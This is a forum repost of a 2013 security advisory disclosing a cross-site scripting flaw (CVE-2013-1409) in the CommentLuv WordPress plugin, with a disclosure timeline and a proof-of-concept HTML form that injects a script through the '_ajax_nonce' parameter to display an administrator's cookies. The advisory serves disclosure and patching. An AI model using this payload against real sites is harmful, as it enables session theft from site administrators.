Post Thu Feb 07, 2013 2:26 am

HTB23138: Cross-Site Scripting (XSS) in CommentLuv WordPress Plugin

Advisory ID: HTB23138
Product: CommentLuv WordPress plugin
Vendor: Andy Bailey
Vulnerable Versions: 2.92.3 and probably prior
Tested Version: 2.92.3
Vendor Notification: January 16, 2013
Vendor Fix: January 17, 2013
Public Disclosure: February 6, 2013
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2013-1409
Risk Level: Low
CVSSv2 Base Score: 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab

Advisory Details:
High-Tech Bridge Security Research Lab discovered vulnerability in CommentLuv WordPress plugin, which can be exploited to perform Cross-Site Scripting (XSS) attacks.

1) Cross-Site Scripting (XSS) in CommentLuv wordpress plugin: CVE-2013-1409
The vulnerability exists due to insufficient filtration of user-supplied data in "_ajax_nonce" HTTP POST parameter in the "/wp-admin/admin-ajax.php" script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
PoC (Proof-of-Concept) below uses the "alert()" JavaScript function to display administrator's cookies:
<form action="http://[host]/wp-admin/admin-ajax.php" method="post" name="askform">
<input type="hidden" name="action" value="cl_ajax" />
<input type="hidden" name="do" value="fetch" />
<input type="hidden" name="url" value="1" />
<input type="hidden" name="_ajax_nonce" value='<script>alert(document.cookie);</script>'/>
<input type="submit" id="btn">

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[1] High-Tech Bridge Advisory HTB23138 - - Cross-Site Scripting (XSS) Vulnerability in CommentLuv WordPress Plugin.
[2] CommentLuv - - CommentLuv is a popular WordPress plugin that will magnetize your readers, socialize your comments and viralize your posts.
[3] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.